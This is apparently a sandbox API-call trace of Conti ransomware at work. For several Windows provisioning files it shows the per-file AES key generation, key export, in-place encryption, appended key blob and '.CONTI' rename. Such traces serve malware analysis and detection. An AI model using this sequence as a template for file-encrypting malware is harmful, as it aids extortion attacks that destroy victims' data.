	[0106.491] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.491] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.491] GetLastError () returned 0x0
	[0106.491] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=1824) returned 1
	[0106.491] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x720
	[0106.491] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.491] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.491] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.491] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.491] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.496] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.496] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x720, lpOverlapped=0x0) returned 1
	[0106.496] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x720, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x730) returned 1
	[0106.496] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.496] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x730, lpOverlapped=0x0) returned 1
	[0106.496] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.496] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.497] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.497] CloseHandle (hObject=0x3a8) returned 1
	[0106.497] GetProcessHeap () returned 0x1720000
	[0106.497] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.497] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.497] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0106.497] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0106.498] GetProcessHeap () returned 0x1720000
	[0106.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.498] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0106.498] GetProcessHeap () returned 0x1720000
	[0106.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.498] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.505] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c85f0) returned 1
	[0106.505] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x4fbf86c | out: pbData=0x17d3b1c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.506] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml")) returned 0x20
	[0106.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.507] GetLastError () returned 0x0
	[0106.507] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=271) returned 1
	[0106.507] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.507] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.507] SetEndOfFile (hFile=0x398) returned 1
	[0106.509] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.509] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.509] WriteFile (in: hFile=0x398, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.512] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.512] ReadFile (in: hFile=0x398, lpBuffer=0xe980000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x10f, lpOverlapped=0x0) returned 1
	[0106.512] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x10f, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x110) returned 1
	[0106.512] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.512] WriteFile (in: hFile=0x398, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x110, lpOverlapped=0x0) returned 1
	[0106.512] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.512] WriteFile (in: hFile=0x398, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.512] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.512] CloseHandle (hObject=0x398) returned 1
	[0106.512] GetProcessHeap () returned 0x1720000
	[0106.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.512] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml"
	[0106.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.CONTI"
	[0106.512] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.conti")) returned 1
	[0106.513] GetProcessHeap () returned 0x1720000
	[0106.513] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.513] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0106.513] GetProcessHeap () returned 0x1720000
	[0106.513] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0107.347] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0108.092] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65159a0 | out: phKey=0x65159a0*=0x17c8370) returned 1
	[0108.092] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65159a4, pdwDataLen=0x4fbf86c | out: pbData=0x65159a4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0108.095] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.095] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.095] GetLastError () returned 0x0
	[0108.095] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=471) returned 1
	[0108.095] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d7
	[0108.095] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.095] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.096] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.096] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.096] WriteFile (in: hFile=0x3c4, lpBuffer=0x65159a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65159a4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0108.098] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.098] ReadFile (in: hFile=0x3c4, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1d7, lpOverlapped=0x0) returned 1
	[0108.098] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1d7, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0) returned 1
	[0108.098] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.098] WriteFile (in: hFile=0x3c4, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.098] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.098] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6515998*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0108.098] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.098] CloseHandle (hObject=0x3c4) returned 1
	[0108.098] GetProcessHeap () returned 0x1720000
	[0108.098] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.098] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.098] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.098] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.099] GetProcessHeap () returned 0x1720000
	[0108.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.099] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0108.099] GetProcessHeap () returned 0x1720000
	[0108.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0070 | out: hHeap=0x1720000) returned 1
	[0108.099] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0108.383] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c7c30) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x4fbf86c | out: pbData=0x17d3b1c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0108.653] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.821] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.830] GetLastError () returned 0x0
	[0109.832] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=642) returned 1
	[0109.836] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x282
	[0109.836] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.836] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.836] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.836] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.836] WriteFile (in: hFile=0x2ec, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.838] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.838] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x282, lpOverlapped=0x0) returned 1
	[0109.838] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x282, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x290) returned 1
	[0109.838] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.838] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x290, lpOverlapped=0x0) returned 1
	[0109.838] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.838] WriteFile (in: hFile=0x2ec, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.838] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.838] CloseHandle (hObject=0x2ec) returned 1
	[0109.838] GetProcessHeap () returned 0x1720000
	[0109.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.838] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0109.838] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.839] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.839] GetProcessHeap () returned 0x1720000
